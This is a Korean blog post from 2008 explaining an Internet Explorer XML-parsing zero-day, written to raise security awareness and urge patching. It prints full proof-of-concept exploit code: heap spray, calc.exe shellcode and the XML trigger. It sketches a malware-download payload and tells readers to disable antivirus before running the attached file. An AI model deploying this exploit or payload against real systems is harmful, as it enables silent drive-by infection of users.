MS로부터 보안패치가 배포될때까지
이 취약성에 관한 ,
임시 해결법은   아래 링크를 참조하시면 됩니다.

http://kr.ahnlab.com/virusNIAsecAdvisor_View.ahn?news_dist=02&site_dist=01&category=VNI002&mid_cate=001&sub_cate1=&sub_cate2=&cPage=1&seq=13473&key=&related






현재

 Microsoft Windows NT 계열의 운영체제와 (윈도우2000 , 윈도우XP , 윈도우 비스타)

 인터넷 익스플로러  버젼 5 부터 ,    8 Beta 2 까지

 이렇게  컴퓨터를 사용중이신   모두에게 해당되는 공격법입니다.

 

 

 

보통 이러한  보안 취약점을 우리가 접하게 되면  ,

 아 뭐  나는 그런일 안일어나겠지?

 하는 경우가   대부분일거라고 생각되네요.

 

그것은 아마도   대부분의 사람들은 컴퓨터 구조와,

   이러한 공격이 어떻게  행해지는지  아예 모르기 때문에,

내가 설마  이런 공격에  당하겠나?  하고  그냥 넘어가기가 대부분 입니다.

 

즉 ,  자신이  나름대로 상상중인  해킹이라는 공격의  범주에는   해당되지 않는거같기 때문에,

그냥 무시하고  넘어가버리는것이지요.

(예 : 나는 해킹이라는것은  남이 보내는 이상한 파일만 조심하면 되는거야!  라고 생각하는데

실제로는 그렇지가 않은것)

 

그리고   마이크로소프트에서  프로그램의 취약점을 해결한   보안패치를  윈도우 업데이트를 통해서 내놓는다고 해도,

보안패치 그거 뭐 ,  크게 신경쓸 필요있나?   백신만 잘 설치하면 장땡이야!

라고 생각하면서  보안패치를 그냥 버리는  경우가 매우 많습니다.

 

보안패치의 심각성을 전혀 깨닫지 못하는거죠.

 

백신은   악성코드만 잡는 역할을 해주지 ,  취약점을 해결해주는 프로그램이 절대 아닙니다.

보안패치를 하지 않으면 , 취약점을 응용한 공격에 추가적으로 당할 수 있다는 점 염두에 두세요.

 

해킹이란 공격은  눈깜짝할 찰나의 사이에 이루어질수 있는게 해킹입니다.

이 글에서 그것을 직접  손쉽게 체험할 수 있습니다.

 

 

 

이 글에서는   현재 언론에서  대두되어지고 있는

XML 파싱 에러를 통한    제로데이 공격에 대해서 간단히  말씀드리고,

 

직접   해킹공격을  간적접으로 체험할 수 있는 기회를 드리겠습니다.

 

물론 해킹공격을 체험할때 , 시스템에  악영향을 끼치는것은  절대 아닙니다.

아! 이런식으로   나쁜 프로그램이 내 컴퓨터로 들어오는구나.......하고 이해만 하시면 됩니다.

 

 

 

 

 

일단 제로데이 공격이라는것을 잘 모르는분들이 많으실겁니다.

 

현재 인터넷 익스플로러  프로그램상에    어떠한  소프트웨어 적으로   취약한 문제점이 발견되었습니다.

이런 부분은 , 해커가  분석을 하면서  발견되는 경우가 대부분인데,

해커는   마이크로소프트에  이 사실을 알리지 않고 ,  그 취약점을 이용한 공격을 게속  써먹습니다.

그러다가 ,  마이크로소프트에서 어느날   그 취약점이 있다는것을  발견했습니다.

그런데  당장 그 문제를 해결할  보안패치를 내놓을 형편이 못되네요?

 

그럼  해커는 보안패치가 나올때까지  계속  그 취약점을 이용한 공격을 써먹을 수 있겠죠?

 

이렇게   프로그램에 문제가 알려지고 난뒤에 , 보안패치가 나올때까지  그 시간차를 이용해서

계속  집중적으로 공격을 행하는것을  제로데이공격이라고 합니다.

 

그럼 실질적으로   현재 이 시간에   이 취약성에 대해서  우리는 무방비하게 노출되어져 있는거죠.

 

 

 

그럼 현재  어떤   망할  나쁜 코드 때문에   이렇게 떠벌려지고 있는건지 , 

해당  원본의 소스코드를  입수해서   여러분께  대략 보여드리고 설명드리겠습니다.

 

 

 

 

 

<html>
<div id="replace">x</div>
<script>

// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

 

위에서 빨간부분에다가   악의적인 목적을 품은 해커가   원하는 공격명령을 집어넣을 수 있습니다.

현재  저 부분은   윈도우용 계산기가 실행되게끔 되어져 있습니다.

만약 저 부분에다가,

 

http://망할중국사이트/특정온라인게임악성코드.exe

 

이런식으로  코드를 넣으면 어떻게 될까요?

자세한것은  아래로 내려가면서 더 알수 있습니다.

 

 


var spray = unescape("%u0a0a%u0a0a");

do {
   spray += spray;
} while(spray.length < 0xd0000);

 

위  코드는   메모리상의  버퍼 오버플로우를 일으키기 위한  코드입니다.

 

spray라는 변수에  do while 문을 이용해서    \n\n 이라는 문자열을, 

총 길이가  0xd0000 (10진수로 53248) 이 될때까지 계속 집어넣고 있습니다.

 

오버플로우라는것을 여기서 말씀드리면 , 길어지니   네이버같은곳에서 검색해보시고,

간단히 설명드리자면 ,   너무 양이 많아서 넘친다는 의미입니다.

넘치고 흐른 다음에는   어떻게 될지 모릅니다.

 

 

 

memory = new Array();

 

for(i = 0; i < 100; i++)
   memory[i] = spray + shellcode;

 

memory 라는 변수를   배열로 초기화시키고 ,

배열의 요소요소에다가   spray라는 변수에 있던 코드와   shellcode라는 변수에 있던 코드를

집어넣고 있습니다.

 

즉 이렇게 되겠죠.

 

memory[0] = spray + shellcode;

memory[1] = spray + shellcode;

memory[2] = spray + shellcode;

.............

memory[98] = spray + shellcode;

memory[99] = spray + shellcode;

 

이 부분은  해커가 원하는 악의적인 코드를    컴퓨터의  메모리상에 일단   저장을 해두는 역할을 합니다.

 

 

 

 

xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

tag = document.getElementById("replace");
tag.innerHTML = xmlcode;

</script>
</html>

 

이 부분은  현재  마이크로소프트 인터넷 익스플로러 전 버젼에서 알려진

XML 파싱 에러 취약점으로 알려진 부분입니다.

저 XML 문법이 의미하는바가 뭔지  저도 자세히는 모릅니다만,

확실한것은  이 문법을  인터넷 익스프로러가 처리할때  프로그램 오류를 내뿜는데 , 그 순간에  취약점이 생기게 되어서,

 

위에 memory 라는 변수에  저장해두었던    spray + shellcode 가  자동적으로 실행되게 됩니다.

 

이때 ,   만약  shellcode에   아래와같이  특정온라인게임을 타겟으로 한  해킹프로그램을 다운로드 받을 수 있도록,

코드를 넣어두었다면 ,

 

예 : http://망할중국사이트/특정온라인게임악성코드.exe

 

 

이것이 자동적으로 다운로드받아지면서 실행이 되게 됩니다.

이때 ,  이  해킹프로그램이  현재 백신 데이터베이스에 존재하지 않는 신종  해킹프로그램이라면,

우리는 속수무책으로 당하게 됩니다.

 

 

 

 

이제  직접  그 공격을  체험할 수 있는 기회를 드리겠습니다.

이 체험을 하고나시면 , 해킹이란것이 이렇게 순식간에 일어나는 것이구나...라는것을 아실 수 있습니다.

 

물론 이것을 하고 안하고는    여러분들의 선택입니다.

확실한것은  , 절대!  시스템에  아무런 악영향을 끼치지 않으며 , 어떠한 해킹프로그램도 설치가 되지 않는다는 것입니다.

 

아래 전체 순서를   꼭  다 읽어보신뒤 !  ,  해보세요.

 

 

 

1. 첨부파일을 다운로드 합니다.

 



2. 모든  인터넷 익스플로러를   종료합니다.

 

3.   첨부파일을 압축을 푼뒤에 ,   Zeroday.html  파일을 실행합니다. 

(이때 , V3 , 바이러스 체이서 , 알약  , 카스퍼스키 , 네이버PC그린  등의    백신 프로그램  사용자는 백신에 감지가 될수 있습니다. 

공격 체험을 원하시면  실시간감시를 잠시 꺼놓은다음 ,  체험하고 나서 다시 켜시면 됩니다.)

 

4.   아래와 같은 화면이 뜨면 ,  노란색 줄을  누르고     " 차단된 콘텐츠 허용 "  을  누른뒤 ,  " 예  "  를 눌러줍니다.

 

 

 

5.  만약에    윈도우용 계산기가 실행되었다면 ,  아...나도  현재 이런 해킹공격에  노출될수가 있구나!  라고 생각하시면 됩니다.

즉 ,  윈도우용 계산기를 해킹프로그램이라고   생각하면 되겠죠.
찰나의 순간에 아마 실행되었을겁니다.
 

6.   작업관리자를 띄워서   프로세스 탭으로 가시면  iexplorer.exe    가 실행되고 있는데

그것을  "프로세스 종료"  해줍니다.

 

7.  다운로드 받은 파일은  살포시 지워줍니다.

 

 

 

********    소스코드 파일을   악의적인 목적으로 이용하는것을  절대  금합니다!!!  *******

 

 

 

 

 

그럼 이 글을 통해서 얻을 수 있는 결론은 이렇네요.

 

자신이   인터넷  웹서핑을  즐겁게 하고있다가,

 

위  소스코드가 심어져있는   홈페이지에 우연히 들어갔습니다.

자신도 모르게   스크립트 허용 버튼을  살포시 눌렀습니다.

 

그럼 인터넷 익스플로러가  갑자기 휙! 하면서   꺼집니다.

그리고 해킹프로그램이  쥐도새도모르게 실행됩니다.

 

그리곤 ,  엉엉 나 해킹당했어요.....ㅠㅠㅠㅠㅠㅠㅠ

이때와서   울어봤자 소용없겠죠?

 

그럼 예방법은?

 

이미 언론에서 보도되어진대로   신속히 절차를 이행하며 되겠지만,

가장 중요한것은     "  신뢰성 없는 사이트 "  에는 절대   접속하거나 , 접근하지말라!   라는 것입니다.

 물론 이 신뢰성이란것은  , 전적으로  여러분들의  주관적인 판단이 되겠죠.

 그리고 평소에  보안의식을 가지는것도  매우 중요합니다. ( 백신 + 보안패치 )

 

 

이상입니다.


잘못된 내용이 있다면  말씀해주세요.

저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2008.12.16 17:37
| 1 |

티스토리 툴바